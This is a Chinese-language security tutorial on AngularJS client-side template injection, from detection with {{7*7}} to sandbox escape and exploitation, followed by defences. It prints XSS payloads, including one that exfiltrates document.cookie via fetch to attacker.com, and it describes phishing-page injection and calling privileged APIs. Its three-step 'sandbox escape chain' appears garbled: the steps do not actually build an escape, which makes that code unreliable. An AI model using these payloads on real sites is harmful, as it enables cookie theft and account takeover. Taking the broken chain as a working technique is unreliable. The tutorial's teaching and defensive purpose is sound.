CSTI客户端模板注入:AngularJS沙箱逃逸到XSS实战

导语:CSTI(客户端模板注入)是发生在浏览器这一侧的模板注入漏洞,常见于 AngularJS、VueJS 这类前端框架。攻击者只要找到一个能直接回显用户输入的位置,就能注入模板表达式,最终从沙箱里逃出来执行任意 JS——本质上是把 XSS 装进了模板引擎的盒子里。


一、CSTI 是什么

CSTI 全称 Client-Side Template Injection(客户端模板注入)。和服务端模板注入(SSTI)的攻击面一样,只不过执行环境从后端搬到了浏览器。

现代前端框架为了让”数据”和”视图”解耦,会在客户端跑一套模板引擎。AngularJS 用 {{ }},Vue 用 {{ }}v- 指令,React 用 JSX。这些引擎都会对模板表达式做求值——比如 {{ 7*7 }} 渲染出来就是 49

问题来了:用户输入一旦被插进模板上下文,框架会老老实实帮你求值。攻击者只要把表达式注进去,就能让浏览器执行任意代码。

1.1 识别特征

判断目标是否在用客户端模板,最直观的几条线索:

  • 查看页面源码,搜 ng-appng-controllerv-appdata-vue 等关键属性
  • 看到 <div ng-app> 这种带 Angular 标记的节点,基本可以确认
  • 类似的 Vue 项目根节点会带 id="app" 配合 new Vue({el:'#app'})

1.2 与 SSTI 的对比

SSTI 的求值在后端模板引擎跑,CSTI 在浏览器跑。两者都能 RCE,但 CSTI 的落点几乎只能是 XSS——因为你拿到的执行权在前端。

CSTI攻击流程图

二、测试方法

最经典的探测 Payload 只有 9 个字符:{{7*7}}。把它丢进任何疑似用户输入点,看响应里有没有变成 49

<!-- 输入 -->
<input value="{{7*7}}">

<!-- 如果存在 CSTI,渲染后变成 -->
<input value="49">

只要表达式被求值,下一步就是上 XSS Payload。

2.1 简单 AngularJS XSS

AngularJS 1.x 的早期版本,模板里可以直接调 constructor

{{constructor.constructor('alert(1)')()}}

这条 Payload 借助 JS 的 Function 构造器绕掉了沙箱限制,直接弹出 alert(1)。现代框架早就加了沙箱,但绕过方法也跟着迭代——下面展开。

2.2 沙箱逃逸链

AngularJS 1.x 引入过 Angular Sandbox,限制模板里能访问的全局对象。但攻击者很快摸到了绕过路径,经典三段式:

// 第一步:拿 Angular 上下文
{{x = {'y':''.constructor.prototype}['y']}}

// 第二步:通过原型链拿到 Function 构造器
{{x['charAt']=x['charAt']||''.constructor.prototype.charAt;}}

// 第三步:执行任意 JS
{{x['alert']=x.constructor.prototype.charAt;[].constructor.constructor('alert(document.domain)')()}}

这套链把”拿对象—拿原型—拿构造器—执行代码”四步串起来,是早期 CSTI 教学的标配。


三、真实利用场景

光弹个 alert(1) 意义不大,红队拿到 CSTI 一般走三条路:

3.1 偷 Cookie / Token

模板表达式里能直接执行 JS,等同于一个反射型 XSS。常见打法是:

{{constructor.constructor('fetch("http://attacker.com/?c="+document.cookie)')()}}

把 Cookie 外带到一个攻击者控制的域名,落地凭据窃取。

3.2 钓鱼页注入

CSTI 持久性差(刷新就没),但配合 SPA 路由可以做”伪装页面”。AngularJS 单页应用尤其适合——拿到注入点后渲染一个伪登录框,让用户重新输入账密。

3.3 配合 CSRF 拿接口

现代应用大量接口走前端 fetch,而前端鉴权基本只看 Cookie 或 localStorage。拿到 XSS 等于绕过 CSRF 限制,可以直接调用 /api/transfer/api/admin/... 这类高权接口。


四、防御方案

防御 CSTI 比防御 SSTI 更直接,前端能做的就那么几件事:

4.1 关闭危险特性

AngularJS 的 sandbox 默认开启但可关闭,$sce.trustAsHtml() 是把 HTML 显式标记为可信,调一次就是一个 XSS 点。Code Review 时凡是看到 trustAsHtml 都要卡一下。

Vue 的 v-html 同样不能信任用户输入,必须配合后端 sanitize。

4.2 输入输出双校验

  • 用户输入:长度限制 + 类型校验 + 关键字黑名单({{}}<script>
  • 输出渲染:用框架自带的转义({{ }} 在 Mustache/Handlebars 默认转义)
  • 禁止把用户输入塞进 innerHTMLv-htmlbypassSecurityTrust*

4.3 CSP 加固

Content-Security-Policy 严格到 script-src 'self',即便有 CSTI 也很难外带数据。这是兜底手段,配合上面的输入校验双保险。

4.4 升级框架版本

AngularJS 1.x 已经停止维护,所有 CSTI 绕过 Payload 都集中在这条线。能升级 Angular / Vue 3 / React 的项目尽快升,旧框架每多跑一天就多一天的攻击窗口。


五、总结

CSTI 不是新漏洞,但每次前端框架升级都会冒出新变种。攻击者角度只要一条原则:用户输入进了模板上下文,就要按 RCE 当。防御者要做的,是把所有”框架帮你做”的事自己再做一遍——输入校验、输出转义、CSP 兜底、版本升级,缺一不可。

下次看到一个 ng-app,脑子里自动跑一遍 {{7*7}},能救你一次生产事故。

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容